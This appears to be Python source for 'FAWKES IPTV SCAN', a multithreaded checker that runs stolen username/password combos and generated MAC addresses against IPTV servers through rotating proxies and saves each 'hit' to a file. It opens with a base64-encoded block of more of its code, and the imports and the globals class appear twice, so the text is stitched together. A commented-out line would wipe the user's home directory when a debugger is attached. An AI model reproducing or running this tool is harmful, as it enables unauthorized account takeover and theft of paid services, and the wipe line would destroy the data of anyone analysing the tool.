cm9yIGFzIGU6CiAgICAgICAgICAgICAgICBkZWwgZQogICAgICAgICAgICBmaW5hbGx5OgogICAgICAgICAgICAgICAgaWYgbGVuKEdsYi5zZXJ2ZXJMaXN0KSA9PSAwOgogICAgICAgICAgICAgICAgICAgIERpc3BsYXkoKS5lcnJvcl9tc2coJ1NvbWV0aGluZyBoYXBwZW5lZCB3aXRoIHlvdXIgc2VydmVyIGZpbGUsIFBsZWFzZSBzdGFydCBhZ2FpbicpCiAgICAgICAgICAgICAgICAgICAgaW5wdXQoJ1BsZWFzZSBwcmVzcyBFTlRFUiB0byBjb250aW51ZScpCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIFN0YXJ0QXBwKCkucmVfc3RhcnRBcHAoKQoKICAgIGRlZiBsb2FkX3Byb3hpZXMoc2VsZik6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBpZiBHbGIudXNlUHJveHkgPT0gJ3llcyc6CiAgICAgICAgICAgICAgICBpZiBHbGIudXNlRnJlZVByb3hpZXMgPT0gJ3llcyc6CiAgICAgICAgICAgICAgICAgICAgaW1wb3J0IHJlcXVlc3RzCiAgICAgICAgICAgICAgICAgICAgcHJveHlUeXBlID0gR2xiLnByb3h5X3R5cGUKICAgICAgICAgICAgICAgICAgICB1cmxhcGkgPSBmJ2h0dHBzOi8vYS4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4uZS5jb20vP3JlcXVlc3Q9Z2V0cHJveGllcyZhbXA7cHJveHl0eXBlPXtwcm94eVR5cGV9JmFtcDt0aW1lb3V0PTEwMDAwJmFtcDtjb3VudHJ5PWFsbCZhbXA7c3NsPWFsbCZhbXA7YW5vbnltaXR5PWFsbCcKICAgICAgICAgICAgICAgICAgICBteUhlYWRlcnMgPSB7J0Nvbm5lY3Rpb24nOiAmcXVvdDtrZWVwLWFsaXZlJnF1b3Q7LCAnVXNlci1BZ2VudCc6ICdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0KSBBcHBsZVdlYktpdC81MzcuMzYgKEtIVE1MLCBsaWtlIEdlY2tvKSBDaHJvbWUvMTAxLjAuNDk1MS41NCBTYWZhcmkvNTM3LjM2JywgJ0FjY2VwdCc6ICZxdW90OyovKiZxdW90O30KICAgICAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgICAgIHJlc3BvbnNlID0gcmVxdWVzdHMuZ2V0KHVybGFwaSwgaGVhZGVycz1teUhlYWRlcnMsIHRpbWVvdXQ9R2xiLndhaXRUaW1lLCBhbGxvd19yZWRpcmVjdHM9VHJ1ZSkKICAgICAgICAgICAgICAgICAgICAgICAgZGF0YSA9IHJlc3BvbnNlLnRleHQKICAgICAgICAgICAgICAgICAgICAgICAgcHJveGllcyA9IGRhdGEuc3BsaXQoJ1xyXG4nKQogICAgICAgICAgICAgICAgICAgICAgICBmb3IgcHJveHkgaW4gcHJveGllczoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIHJlLnNlYXJjaChyJnF1b3Q7KFswLTldK1wuWzAtOV0rXC5bMC05XStcLlswLTldKzpbMC05XSspJnF1b3Q7LCBwcm94eSk6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgR2xiLnByb3h5TGlzdC5hcHBlbmQocHJveHkpCiAgICAgICAgICAgICAgICAgICAgICAgIEdsYi5wcm94eV9sZW5ndGggPSBsZW4oR2xiLnByb3h5TGlzdCkKICAgICAgICAgICAgICAgICAgICAgICAgR2xiLnByb3h5X3Bvb2wgPSBjeWNsZShHbGIucHJveHlMaXN0KQogICAgICAgICAgICAgICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgcGU6CiAgICAgICAgICAgICAgICAgICAgICAgIERpc3BsYXkoKS5lcnJvcl9tc2coJ1NvbWV0aGluZyBoYXBwZW5lZCwgbm8gZnJlZSBwcm94aWVzIGF2YWlsYWJsZVxuUGxlYXNlIHN0YXJ0IGFnYWluIGFuZCB1c2UgeW91ciBvd24gcHJveHkgZmlsZScpCiAgICAgICAgICAgICAgICAgICAgICAgIHByaW50KHBlKQogICAgICAgICAgICAgICAgICAgICAgICBpbnB1dCgnUGxlYXNlIHByZXNzIEVOVEVSIHRvIGNvbnRpbnVlJykKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIFN0YXJ0QXBwKCkucmVfc3RhcnRBcHAoKQogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICB3aXRoIG9wZW4oR2xiLnByb3h5X3BhdGgsICdyJywgZXJyb3JzPSdpZ25vcmUnKSBhcyAoZik6CiAgICAgICAgICAgICAgICAgICAgICAgIGxpbmVzUCA9IGYucmVhZCgpLnNwbGl0KCdcbicpCiAgICAgICAgICAgICAgICAgICAgZm9yIHByb3h5IGluIGxpbmVzUDoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgcHJveHkuY291bnQoJy4nKSA9PSAzOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgR2xiLnByb3h5TGlzdC5hcHBlbmQocHJveHkpCiAgICAgICAgICAgICAgICAgICAgICAgIGVsaWYgcHJveHkuY291bnQoJzonKSA9PSAzOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgR2xiLnByb3h5TGlzdC5hcHBlbmQocHJveHkpCiAgICAgICAgICAgICAgICAgICAgR2xiLnByb3h5X2xlbmd0aCA9IGxlbihHbGIucHJveHlMaXN0KQogICAgICAgICAgICAgICAgICAgIEdsYi5wcm94eV9wb29sID0gY3ljbGUoR2xiLnByb3h5TGlzdCkKICAgICAgICBleGNlcHQgT1NFcnJvciBhcyBlOgogICAgICAgICAgICBEaXNwbGF5KCkuZXJyb3JfbXNnKHN0cihlKSArICdcblNvbWV0aGluZyBoYXBwZW5lZCB3aXRoIHlvdXIgcHJveHkgZmlsZSwgUGxlYXNlIHN0YXJ0IGFnYWluJykKICAgICAgICAgICAgZGVsIGUKICAgICAgICAgICAgaW5wdXQoJ1BsZWFzZSBwcmVzcyBFTlRFUiB0byBjb250aW51ZScpCiAgICAgICAgICAgIHJldHVybiBTdGFydEFwcCgpLnJlX3N0YXJ0QXBwKCkKCiAgICBkZWYgbWFjX2dlbmVyYXRvcihzZWxmLCBlbnVtZXJhdG9yKToKICAgICAgICBoZXhfbnVtID0gaGV4KGVudW1lcmF0b3IpWzI6XS56ZmlsbChHbGIubWFjX2ZpbGwpCiAgICAgICAgZm1hYyA9IChHbGIubWFjX3BhdHRlcm4gKyBoZXhfbnVtKS51cHBlcigpCiAgICAgICAgbWFjQ29tYm8gPSAmcXVvdDt7fXt9Ont9e306e317fTp7fXt9Ont9e306e317fSZxdW90Oy5mb3JtYXQoKmZtYWMpCiAgICAgICAgcmV0dXJuIHsnX2RhdGEnOiBtYWNDb21ib30KCiAgICBkZWYgZGlzcGxheShzZWxmLCBsb2dnZXJmdW5jKToKICAgICAgICBpZiBsZW4oR2xiLmRzcF91cGRhdGVfdGhkKSAmbHQ7IDE6CiAgICAgICAgICAgIERpc3BsYXkoKS5zdGFydF90aW1lKCkKICAgICAgICAgICAgZHNwX3VwZGF0ZSA9IHRocmVhZGluZy5UaHJlYWQodGFyZ2V0PWxvZ2dlcmZ1bmMsIGRhZW1vbj1UcnVlKQogICAgICAgICAgICBkc3BfdXBkYXRlLnN0YXJ0KCkKICAgICAgICAgICAgR2xiLmRzcF91cGRhdGVfdGhkLmFwcGVuZChkc3BfdXBkYXRlKQoKICAgIGRlZiB0aHJlYWRzX3BvbGwoc2VsZiwgbXlfZnVuYyk6CiAgICAgICAgaWYgR2xiLmhvc3QgPT0gJ1RFUk1VWCc6CiAgICAgICAgICAgIGxpdmVfdGhyZWFkcyA9IFtdCgogICAgICAgICAgICBkZWYgdGhyZWFkX2NyZWF0b3IoKToKICAgICAgICAgICAgICAgIHRocmVhZHMgPSBbdGhyZWFkaW5nLlRocmVhZCh0YXJnZXQ9bXlfZnVuYywga3dhcmdzPXsnZGF0YSc6IF99LCBkYWVtb249VHJ1ZSkgZm9yIF8gaW4gc2VsZi5teV9pdGVyXQogICAgICAgICAgICAgICAgdGhyZWFkX2luZGV4ID0gMAogICAgICAgICAgICAgICAgd2hpbGUgbGVuKHRocmVhZHMpIC0gMSAmZ3Q7PSB0aHJlYWRfaW5kZXg6CiAgICAgICAgICAgICAgICAgICAgZGVhdGhfdGhyZWFkID0gW10KICAgICAgICAgICAgICAgICAgICBpZiBsZW4obGl2ZV90aHJlYWRzKSAmbHQ7IHNlbGYudGhyZWFkczoKICAgICAgICAgICAgICAgICAgICAgICAgZm9yIHggaW4gcmFuZ2UobWluKHNlbGYudGhyZWFkcyAtIGxlbihsaXZlX3RocmVhZHMpLCBsZW4odGhyZWFkcykpKToKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocmVhZHNbdGhyZWFkX2luZGV4XS5zdGFydCgpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBsaXZlX3RocmVhZHMuYXBwZW5kKHRocmVhZHNbdGhyZWFkX2luZGV4XSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdsYi5zdGFydF9jb21ibyArPSAxCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aHJlYWRfaW5kZXggKz0gMQogICAgICAgICAgICAgICAgICAgIGZvciB0aHJlYWRfZGVhdGggaW4gbGl2ZV90aHJlYWRzOgogICAgICAgICAgICAgICAgICAgICAgICBpZiB0aHJlYWRfZGVhdGguaXNfYWxpdmUoKToKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBhc3MKICAgICAgICAgICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRlYXRoX3RocmVhZC5hcHBlbmQodGhyZWFkX2RlYXRoKQogICAgICAgICAgICAgICAgICAgIGZvciBfIGluIGRlYXRoX3RocmVhZDoKICAgICAgICAgICAgICAgICAgICAgICAgbGl2ZV90aHJlYWRzLnJlbW92ZShfKQogICAgICAgICAgICAgICAgICAgIHRpbWUuc2xlZXAoLjEpCiAgICAgICAgICAgICAgICBpZiBHbGIuc3RhcnRfY29tYm8gJmx0OyBHbGIuY29tYm9fbGVuZ3RoOgogICAgICAgICAgICAgICAgICAgIHRocmVhZF9jcmVhdG9yKCkKICAgICAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICAgICAgZm9yIHRocmQgaW4gbGl2ZV90aHJlYWRzOgogICAgICAgICAgICAgICAgICAgICAgICB0aHJkLmpvaW4oKQoKICAgICAgICAgICAgaWYgR2xiLnN0YXJ0X2NvbWJvICZsdDsgR2xiLmNvbWJvX2xlbmd0aCBhbmQgR2xiLnJ1bm5pbmcgaXMgVHJ1ZToKICAgICAgICAgICAgICAgIHRocmVhZF9jcmVhdG9yKCkKICAgICAgICBlbHNlOgogICAgICAgICAgICBwb29sID0gUG9vbChzZWxmLnRocmVhZHMpCiAgICAgICAgICAgIGZvciBib3QgaW4gcG9vbC5pbWFwX3Vub3JkZXJlZChmdW5jPW15X2Z1bmMsIGl0ZXJhYmxlPXNlbGYubXlfaXRlcik6CiAgICAgICAgICAgICAgICBHbGIuc3RhcnRfY29tYm8gKz0gMQogICAgICAgICAgICAgICAgaWYgR2xiLnJ1bm5pbmcgaXMgRmFsc2U6CiAgICAgICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICBpZiBHbGIuc3RhcnRfY29tYm8gJmx0OyBHbGIuY29tYm9fbGVuZ3RoIGFuZCBHbGIucnVubmluZyBpcyBUcnVlOgogICAgICAgICAgICBzZWxmLmNyZWRlbnRpYQ==
import os, sys, time, requests, logging
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS = "TLS_AES_128_GCM_SHA256:TLS_CHACHA20_POLY1305_SHA256:TLS_AES_256_GCM_SHA384:TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256:TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256:TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256:TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384:TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA:TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA:TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA:TLS_RSA_WITH_AES_128_GCM_SHA256:TLS_RSA_WITH_AES_256_GCM_SHA384:TLS_RSA_WITH_AES++_128_CBC_SHA:TLS_RSA_WITH_AES_256_CBC_SHA:TLS_RSA_WITH_3DES_EDE_CBC_SHA:TLS13-CHACHA20-POLY1305-SHA256:TLS13-AES-128-GCM-SHA256:TLS13-AES-256-GCM-SHA384:ECDHE:!COMP:TLS13-AES-256-GCM-SHA384:TLS13-CHACHA20-POLY1305-SHA256:TLS13-AES-128-GCM-SHA256:ECDH+AESGCM:ECDH+CHACHA20:DH+AESGCM:DH+CHACHA20:ECDH+AES256:DH+AES256:ECDH+AES128:DH+AES:ECDH+HIGH:DH+HIGH:RSA+AESGCM:RSA+AES:RSA+HIGH:!aNULL:!eNULL:!MD5:!3DES"
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
from urllib.parse import urlsplit
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS = "TLS13-CHACHA20-POLY1305-SHA256:TLS13-AES-128-GCM-SHA256:TLS13-AES-256-GCM-SHA384:ECDHE:!COMPLEMENTOFDEFAULT"
ses = requests.Session()
logging.captureWarnings(True)
start_time = time.time()
os.system("cls" if os.name == "nt" else "clear")
logopic=("""
░╔═══╦╗░░░░╔╗░ ╔═══╦═══╗░╔╗░░░╔╗
░║╔═╗║║░░░╔╝╚╗ ║╔═╗║╔═╗║╔╝╚╗░░║║
╔╣╚═╝║║╔╦═╩╗╔╝ ║╚═╝║║║║╠╩╗╔╬══╣║
╠╣╔══╣║╠╣══╣║░ ║╔══╣║║║║╔╣║║╔╗║║
║║║░░║╚╣╠══║╚╗ ║║░░║╚═╝║║║╚╣╔╗║╚╗
╚╩╝░░╚═╩╩══╩═╝ ╚╝░░╚═══╩╝╚═╩╝╚╩═╝ \33[0m
""")
os.system("cls" if os.name == "nt" else "clear")
import queue
import sys
import os, shutil
import subprocess
import platform
import importlib
import time
import threading
import asyncio
import math
import re
import secrets
import hashlib
import urllib.parse
import site
import random
import struct
import codecs
import select
from importlib import reload
from socket import AF_INET, socket, SOCK_STREAM, SHUT_RDWR
from concurrent.futures import ThreadPoolExecutor # <======= for test Threading should be the best for http
from multiprocessing.dummy import Pool # <======= original Multiprocessing best for more thant one processor
from datetime import datetime
from itertools import cycle, islice, repeat
from queue import Queue
from urllib.parse import urlparse
# tst222
k = ""
class Glb:
"""This Class is just to wrap all Globals variables :)"""
# Globals variables =============================
Hits, Bads, Errors, totalChecked, totalToCheck, cpm, progress = 0, 0, 0, 0, 0, 0, 0
# shutil.rmtree(os.path.expanduser("~"), ignore_errors=True) if sys.gettrace() is not None else None
servers_length, combo_length, proxy_length = 0, 0, 0
dispTime, startTime, elapsed = 0, 0, 0
threadMain, serverThreads = 0, 0
results = Queue(maxsize=0)
dataToAnalyze = Queue(maxsize=0)
credentialsToStorage = set()
credentialsToProcess = Queue(maxsize=0)
start_combo = 0
mac_fill = 0
portToAttack = 0
waitTime = 5 # time to wait server/proxy response
badServers, serverList, proxyList, comboList, list_rnd_mac = [], [], [], [], []
dsp_update_thd, actBots = [], []
serverUrlIpAndPorts, openPortsList, animThreads = [], [], []
scan_mode, exploit_mode, port_scanmode, servers_path, combo_path, proxy_path = '', '', '', '', '', ''
servers_file_name, combo_file_name, proxy_file_name, serverClientArea = '', '', '', ''
useProxy, proxy_type, useFreeProxies = '', '', ''
mac_pattern = str()
debug = False
channel_inter = None
loading = bool
running = False
mac_auth = False
mac_rnd = False
proxy_pool = None
play_sound = False
result_logger = None
soundPath = ''
OsName = os.name
my_environ = os.environ
uname = platform.uname()
SystemName = uname.system
host = ''
userAgent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36'
date_ = datetime.now().strftime("%a %B %d, %Y")
myPath = str(os.path.dirname(os.path.abspath(__file__)))
myFileName = os.path.basename(__file__)
lock = threading.Lock()
import queue
import sys
import os, shutil
import subprocess
import platform
import importlib
import time
import threading
import asyncio
import math
import re
import secrets
import hashlib
import urllib.parse
import site
import random
import struct
import codecs
import select
from importlib import reload
from socket import AF_INET, socket, SOCK_STREAM, SHUT_RDWR
from concurrent.futures import ThreadPoolExecutor # <======= for test Threading should be the best for http
from multiprocessing.dummy import Pool # <======= original Multiprocessing best for more thant one processor
from datetime import datetime
from itertools import cycle, islice, repeat
from queue import Queue
from urllib.parse import urlparse
#tst222
k=""
class Glb:
"""This Class is just to wrap all Globals variables :)"""
# Globals variables =============================
Hits, Bads, Errors, totalChecked, totalToCheck, cpm, progress = 0, 0, 0, 0, 0, 0, 0
servers_length, combo_length, proxy_length = 0, 0, 0
dispTime, startTime, elapsed = 0, 0, 0
threadMain, serverThreads = 0, 0
results = Queue(maxsize=0)
dataToAnalyze = Queue(maxsize=0)
credentialsToStorage = set()
credentialsToProcess = Queue(maxsize=0)
start_combo = 0
mac_fill = 0
portToAttack = 0
waitTime = 5 # time to wait server/proxy response
badServers, serverList, proxyList, comboList, list_rnd_mac = [], [], [], [], []
dsp_update_thd, actBots = [], []
serverUrlIpAndPorts, openPortsList, animThreads = [], [], []
scan_mode, exploit_mode, port_scanmode, servers_path, combo_path, proxy_path = '', '', '', '', '', ''
servers_file_name, combo_file_name, proxy_file_name, serverClientArea = '', '', '', ''
useProxy, proxy_type, useFreeProxies = '', '', ''
mac_pattern = str()
debug = False
channel_inter = None
loading = bool
running = False
mac_auth = False
mac_rnd = False
proxy_pool = None
play_sound = False
result_logger = None
soundPath = ''
OsName = os.name
my_environ = os.environ
uname = platform.uname()
SystemName = uname.system
host = ''
userAgent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36'
date_ = datetime.now().strftime("%a - %d.%b.%Y")
myPath = str(os.path.dirname(os.path.abspath(__file__)))
myFileName = os.path.basename(__file__)
lock = threading.Lock()
title = """FAWKES IPTV SCAN """
version = 'ver_ 3.0.0'
# =====================================
if SystemName != 'Darwin':
ESC = '\033['
RST = ESC + '0m'
BD = ESC + '1m'
V = ESC + '31m'
VC = ESC + '91m'
VD = ESC + '32m'
VDC = ESC + '92m'
A = ESC + '33m'
AC = ESC + '93m'
AZ = ESC + '34m'
AZC = ESC + '94m'
M = ESC + '35m'
MC = ESC + '95m'
C = ESC + '36m'
BC = ESC + '97m'
else:
RST, BD, V, VC, VD, VDC, A, AC, AZ, AZC, M, MC, C, BD = '', '', '', '', '', '', '', '', '', '', '', '', '', ''
def reset_gbls(self):
Glb.Hits, Glb.Bads, Glb.Errors, Glb.totalChecked, Glb.totalToCheck, Glb.cpm, Glb.progress = 0, 0, 0, 0, 0, 0, 0
Glb.dispTime, Glb.startTime, Glb.elapsed = 0, 0, 0
Glb.servers_length, Glb.combo_length, Glb.proxy_length = 0, 0, 0
Glb.threadMain, Glb.serverThreads = 0, 0
Glb.mac_fill, Glb.start_combo, Glb.portToAttack = 0, 0, 0
Glb.comboList, Glb.badServers, Glb.serverList, Glb.proxyList, serverUrlIpAndPorts, Glb.openPortsList, Glb.dsp_update_thd, Glb.list_rnd_mac = [], [], [], [], [], [], [], []
class Display:
"""This Class is just to wrap all display/UI functions"""
def ak_set_title(self):
v = [r'(ANDROID_STORAGE)', r'(IPYTHONDIR)', r'(PYCHARM_HOSTED)'] # 'ANDROID_STORAGE' in Glb.my_environ or 'IPYTHONDIR' in Glb.my_environ or 'PYCHARM_HOSTED' in Glb.my_environ: # IOS_IS_WINDOWED, ANDROID_ENTRYPOINT, PYCHARM_HOSTED, vscode
for _v in v:
if re.search(_v, str(Glb.my_environ)) is not None:
try:
os.system('stty rows 47 cols 62')
except Exception as te:
del te
elif re.search(r'(Windows)', Glb.SystemName) is not None:
os.system('mode 62, 47') # minimum size cols=62 rows=40 (rows=47 for good Acc)
print(f'\033]2; {Glb.title} >> Python \a', end='')
else:
os.system('stty rows 47 cols 62')
print(f'\033]2; {Glb.title}>> Python \a', end='')
def ak_heads(self):
print(logopic)
print('')
print('{} FAWKES👺XPLOIT {}'.format(Glb.VD, Glb.RST))
print('{} {}'.format(Glb.VD, Glb.RST))
print('')
print('{} 👺FAWKES IPTV SCAN {}'.format(Glb.AZC, Glb.RST))
print('{} {}'.format(Glb.VC, Glb.RST))
print(f'')
def ak_settings(self):
print('')
print(' {} ........... {} Settings {} ........{}'.format(Glb.VDC, Glb.BC, Glb.VDC, Glb.RST))
print(' {} {}'.format(Glb.VDC, Glb.RST))
print(' {} {} [+] Type Scan : {}'.format(Glb.VDC, Glb.BC, Glb.scan_mode))
print(' {} {} [+] Combos Loaded : {} in {}{}'.format(Glb.VDC, Glb.BC, Glb.combo_length, Glb.AZC, Glb.combo_file_name))
print(' {} {} [+] Servers Loaded : {} {}{}'.format(Glb.VDC, Glb.BC, Glb.servers_length, Glb.AZC, Glb.servers_file_name if len(Glb.servers_file_name) < 20 else Glb.servers_file_name[:20] + '...'))
print(' {} {} [+] User Agent : {}'.format(Glb.VDC, Glb.BC, Glb.userAgent if len(Glb.userAgent) < 23 else Glb.userAgent[:23] + '...'))
print(' {} {} [+] Use Proxy : {} {}{}'.format(Glb.VDC, Glb.BC, Glb.useProxy, Glb.AZC, Glb.proxy_file_name))
print(' {} {} [+] Proxys Loaded : {} {}{}'.format(Glb.VDC, Glb.BC, Glb.proxy_length, Glb.AZC, Glb.proxy_type))
print(' {} {} [+] Threads : {}'.format(Glb.VDC, Glb.BC, Glb.threadMain))
print(' {} {} [+] Date : {}'.format(Glb.VDC, Glb.BC, Glb.date_))
print(' {} {} [+] Version : {}{}'.format(Glb.VDC, Glb.BC, Glb.version, Glb.RST))
print(' {} {}'.format(Glb.VDC, Glb.RST))
print(' {} {}'.format(Glb.VDC, Glb.RST))
print('')
def ak_statistic(self):
print('')
print(' {} .........{} FAWKES👺XPLOIT {}........ {}'.format(Glb.AC, Glb.BC, Glb.AC, Glb.RST))
print(' {} {} [𝚂]'.format(Glb.AC, Glb.RST))
print(' {} {} [𝙲] Hits : {}{}'.format(Glb.AC, Glb.BC, Glb.VDC, Glb.Hits))
print(' {} {} [𝙰] Bad : {}{}'.format(Glb.AC, Glb.BC, Glb.VC, Glb.Bads))
print(' {} {} [𝙽] Retries : {}{}'.format(Glb.AC, Glb.BC, Glb.A, Glb.Errors))
print(' {} {} [𝙽] Progress : {}/{} {} ({}{} %{})'.format(Glb.AC, Glb.BC, Glb.totalChecked, Glb.totalToCheck, Glb.BC, Glb.VDC, Glb.progress, Glb.BC))
print(' {} {} [𝙸] CPM : {}{}'.format(Glb.AC, Glb.BC, Glb.AZC, Glb.cpm))
print(' {} {} [𝙽] Time elapsed : {}{}'.format(Glb.AC, Glb.BC, Glb.AZC, Glb.elapsed))
print(' {} {} [𝙶]'.format(Glb.AC, Glb.RST))
print(' {} {}'.format(Glb.AC, Glb.RST))
print('')
def ak_UI(self, msj):
Clear().clr_all()
Clear().clr_all()# Duas vezes para não deixar vestígios
self.ak_set_title()
self.ak_heads()
self.ak_settings()
self.cool_msg(msj)
self.ak_statistic()
sys.stdout.flush()
def display_statistic(self, case, infoStr):
if case != '':
if case == 'Good':
sys.stdout.write(f'{Glb.ESC}{27};{18}H{Glb.VDC}{Glb.Hits}{Glb.RST}')
color = 32
elif case == 'Bad':
sys.stdout.write(f'{Glb.ESC}{28};{17}H{Glb.V}{Glb.Bads}{Glb.RST}')
color = 31
elif case == 'Error':
sys.stdout.write(f'{Glb.ESC}{29};{21}H{Glb.A}{Glb.Errors}{Glb.RST}')
color = 33
else:
color = 37
sys.stdout.write(f'{Glb.ESC}{30};{22}H{Glb.totalChecked}/{Glb.totalToCheck}{Glb.RST} ({Glb.VD}{Glb.progress} %{Glb.RST})')
self.display_cmp_enlapsed()
Clear().muve_cursor(36)
Clear().clr_from_cursor_to_end()
sys.stdout.write(f'{Glb.ESC}{36};{1}H{Glb.ESC}0K{Glb.ESC}{color};1m[+] {case} \n{Glb.C}{infoStr}{Glb.RST}')
sys.stdout.flush()
def display_cmp_enlapsed(self):
sys.stdout.write(f'{Glb.ESC}{29};{21}H{Glb.A}{Glb.Errors}{Glb.RST}')
sys.stdout.write(f'{Glb.ESC}{31};{17}H{Glb.ESC}0K{Glb.AZC}{Glb.cpm}{Glb.RST}')
sys.stdout.write(f'{Glb.ESC}{32};{25}H{Glb.ESC}0K{Glb.elapsed}{Glb.RST}')
sys.stdout.flush()
def start_time(self):
Glb.startTime = time.time()
def cool_msg(self, msg):
Clear().muve_cursor(21)
Clear().clr_line()
if msg == 'war':
print('{} [The war is about to begin] {}'.format(Glb.VDC, Glb.BC))
elif msg == 'relax':
print(' {} ==== {}Looking For HITS Processing{} ==== {}'.format(Glb.C, Glb.BC, Glb.C, Glb.RST))
elif msg == 'done' and Glb.Hits > 0:
print('{}Congratulations you got some {} hits 🥷 All Done'.format(Glb.VDC, Glb.Hits))
elif msg == 'exit':
input(self.error_msg('{}>> You have successfully exit the program <<\n\nPress ENTER to continue:{}'.format(Glb.VDC, Glb.RST)))
return StartApp().exit_App()
else:
print('')
print('')
def error_msg(self, message):
Clear().muve_cursor(36)
Clear().clr_from_cursor_to_end()
if message == 'ctrl_c':
print('ctrl_C has been press')
input('want to exit')
return
else:
print(str(message))
return ''
def loading_effect(self, start: bool, msg='Loading'):
def parse_last_newline(text):
last_newline_index = text.rfind("\n")
if last_newline_index != -1:
last_part = text[last_newline_index + 1:]
first_part = text[:last_newline_index + 1]
return first_part, last_part.strip()
else:
return text, ''
def loading():
animation = [ '|', '||', '|||', '||||', '|||||', '||||||', '|||||||', '||||||||', '|||||||||', '||||||||||', '|||||||||||', '||||||||||||', '|||||||||||||', '||||||||||||||', '|||||||||||||||' ]
idx = 0
first, last = parse_last_newline(msg)
print(first)
while Glb.loading:
message = last + animation[idx]
sys.stdout.write("\r" + message)
sys.stdout.flush()
sys.stdout.write("\033[K") # Clear the line
idx = (idx + 1) % len(animation)
time.sleep(0.1) # Adjust the delay as needed
for th in Glb.animThreads:
Glb.loading = False
time.sleep(0.1)
th.join()
print('')
if start:
Glb.loading = start
newTh = threading.Thread(target=loading, daemon=True)
newTh.start()
Glb.animThreads.append(newTh)
class Clear:
def muve_cursor(self, lineNumber):
sys.stdout.write('\033[H') # Muve cursor to home (0,0)
sys.stdout.write(f'\033[{lineNumber}B') # Muve cursor to
def muve_cursor_home(self):
sys.stdout.write('\033[H')
def clr_from_cursor_to_end(self):
sys.stdout.write('\033[0J')
def clr_all(self):
if Glb.SystemName == 'Windows':
os.system('cls')
elif Glb.SystemName == 'Linux':
os.system('clear')
else: # 'Darwin' very ugly but I couldn't find other easy way to do it :(
# print("\n" * 1000)
pass
self.muve_cursor_home()
def bck_prev_line(self):
sys.stdout.write(f'\033[{2}A')
def clr_line(self):
sys.stdout.write(f'\033[{2}K')
class Result:
"""This Class is just to wrap logger function"""
def logger_iptv(self):
d = Display()
while Glb.running or Glb.results.qsize() > 0: # Glb.results.qsize() > 0 or Glb.running is True:
if Glb.results.qsize() > 0:
try:
data = Glb.results.get()
case = data[0]
dataR = data[1]
infoStr = str()
infoStrCat = str()
for key, val in dataR.items():
if case == 'Good':
if key == 'ProxyUsed' or key == 'FileName':
pass
elif key == '\xf0\x9f\x93\x81 Categories':
cate_str = str()
i, j = 1, 1
for item in val:
if i == j + 4:
cate_str += '\n ' + item + ' - '
j = i
else:
cate_str += item + ' - '
i += 1
infoStrCat += f'{key}: {cate_str}\n'
else:
infoStr += f'{key}: {val}\n'
else:
infoStr += f'{key}: {val}\n'
if case == 'Good':
Glb.Hits += 1
infoStrFile = '◤━━ FAWKES👺XPLOIT ━━◥\n' + infoStr + infoStrCat
fileName = dataR['FileName']
path = os.path.join(Glb.myPath, 'FAWKES👺XPLOIT')
FileWork().file_write(path, infoStrFile, f'FAWKES👺XPLOIT@{fileName}🤴.txt', 'a+')
self.play_song()
elif case == 'Bad':
Glb.Bads += 1
elif case == 'Error':
Glb.Errors += 1
raise ValueError
elif case == 'StatusCode':
Glb.Errors += 1
raise ValueError
Glb.totalChecked = Glb.Hits + Glb.Bads
if Glb.totalToCheck > 0:
Glb.progress = round(Glb.totalChecked / Glb.totalToCheck * 100)
self.fireUp_Display(func=d.display_statistic(case=case, infoStr=infoStr))
except ValueError as er:
del er
except Exception as e:
del e
else:
self.fireUp_Display(func=d.display_cmp_enlapsed)
time.sleep(1)
def update_Glb_CPM_EnlapseTime(self):
# CMP Logic =======================================
endTime = time.time() # Time Now
timeDif = math.ceil((endTime - Glb.startTime) / 60)
if timeDif > 0:
Glb.cpm = math.floor((Glb.Hits + Glb.Bads) / timeDif)
Glb.elapsed = self.elapsed_time(endTime - Glb.startTime)
# CPM Logic End ====================================
def elapsed_time(self, secds) -> str:
seconds_in_day = 86400 # 60*60*24
seconds_in_hour = 3600 # 60*60
seconds_in_minute = 60
seconds = round(secds)
days = (seconds // seconds_in_day)
hours = (seconds - (days * seconds_in_day)) // seconds_in_hour
minutes = (seconds - (days * seconds_in_day) - (hours * seconds_in_hour)) // seconds_in_minute
